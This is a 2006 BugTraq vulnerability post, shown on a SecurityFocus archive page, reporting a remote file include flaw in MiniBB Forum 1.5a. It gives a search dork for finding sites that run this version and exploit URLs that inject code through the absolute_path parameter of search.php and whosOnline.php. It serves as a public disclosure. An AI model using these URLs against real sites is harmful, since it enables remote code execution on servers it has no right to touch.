BugTraq
MiniBB Forum <= 1.5a Remote File Include (search.php-whosOnline.php) Jul 21 2006 08:33PM
AG Spider (ag-spider hotmail com)
Title : MiniBB Forum <= 1.5a Remote File Include (search.php-whosOnline.php)
########################################################################
#######

Discovered By :::: {{AG-Spider & KaBaRa.HaCk .eGy}}

------------------------------------------------------------------------
-----

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : MiniBB Forum 1.5a (search.php-whosOnline.php)version :
version [ 1.5 ]
exploit :Remote File Include
------------------------------------------------------------------------
-----

dork : "Powered by miniBB 1.5 ©"
Exploit : http://www.example.com/search.php?absolute_path=[shellcode]?

http://www.example.com/whosOnline.php?absolute_path=[shellcode]?

------------------------------------------------------------------------
----

greetz4: [ Black-Code - KILLERxXx - Mr.SheHa - eGyPT GHosT]

c0natct us : KaBaRa.HaCk.eGy [ at ] HoTMail.CoM
AG-Spider [ at ] HoTMail.CoM

_________________________________________________________________
Windows Live? Messenger has arrived. Click here to download it for free!
http://imagine-msn.com/messenger/launch80/?locale=en-gb

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus